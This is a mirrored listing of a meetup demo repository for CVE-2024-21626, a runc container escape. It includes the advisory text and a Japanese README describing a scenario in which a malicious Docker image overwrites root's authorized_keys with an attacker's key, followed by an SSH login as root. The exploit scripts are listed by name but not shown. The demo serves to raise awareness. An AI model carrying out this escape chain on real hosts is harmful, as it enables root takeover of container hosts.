CVE-2024-21626 PoC — runc container breakout through process.cwd trickery and leaked fds

Source

https://github.com/laysakura/CVE-2024-21626-demo

Associated Vulnerability

Title:runc container breakout through process.cwd trickery and leaked fds (CVE-2024-21626)
Description:runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run ("attack 1"). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes ("attack 3a" and "attack 3b"). runc 1.1.12 includes patches for this issue.

Description

Container Runtime Meetup #5 のLT用のデモ

Readme

# CVE-2024-21626-demo

Container Runtime Meetup #5 のLT用のデモ。

公知情報に則り攻撃の危険性を周知する目的であり、悪用は厳禁です。

## スライド

[Container Runtime Meetup #5 〜そのイメージ、本当に信頼できますか？〜 CVE-2024-21626 でホストのrootを奪取する](https://docs.google.com/presentation/d/e/2PACX-1vRkoysMWPYk633s3DxKL9liSkmuCOIffWtjqRl8ZWN5zs5L7VL8THMMLyPDhsDoTHrQuGyDM78ppXik/pub?start=false&loop=false&delayms=60000)

## victim-server へのログイン

デモ用laptopのssh_configに `victim-server` として登録しているマシン。

```console
ssh victim-server
```

被害を受ける前提条件としてのバージョン情報:

```console
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3

ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
```

## attacker-server へのログイン

同様に

```console
ssh attacker-server
```

## シナリオ

### 1. [victim-server] 悪意あるDockerイメージを誤って取得・ビルド・実行

```console
ubuntu@victim-server:~$ git clone git@github.com:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
```

### 2. [victim-server] 意図せぬうちに `/root/.ssh/authorized_keys` が攻撃者の公開鍵で書き換えられている

本来は意図していないのでここでは何もしないが、状況確認のためのコマンドを示す。

```console
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
```

### 3. [attacker-server] victim-server へのrootログイン

```console
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server

root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)
```

## References

- <https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv>
- <https://github.com/NitroCao/CVE-2024-21626>

File Snapshot


 [4.0K]  /data/pocs/6c014105b9e10cd85f00c6b928be478ee0db388d
├── [ 209]  Dockerfile
├── [ 529]  inject-ssh-key.sh
├── [1.2K]  LICENSE
└── [2.2K]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!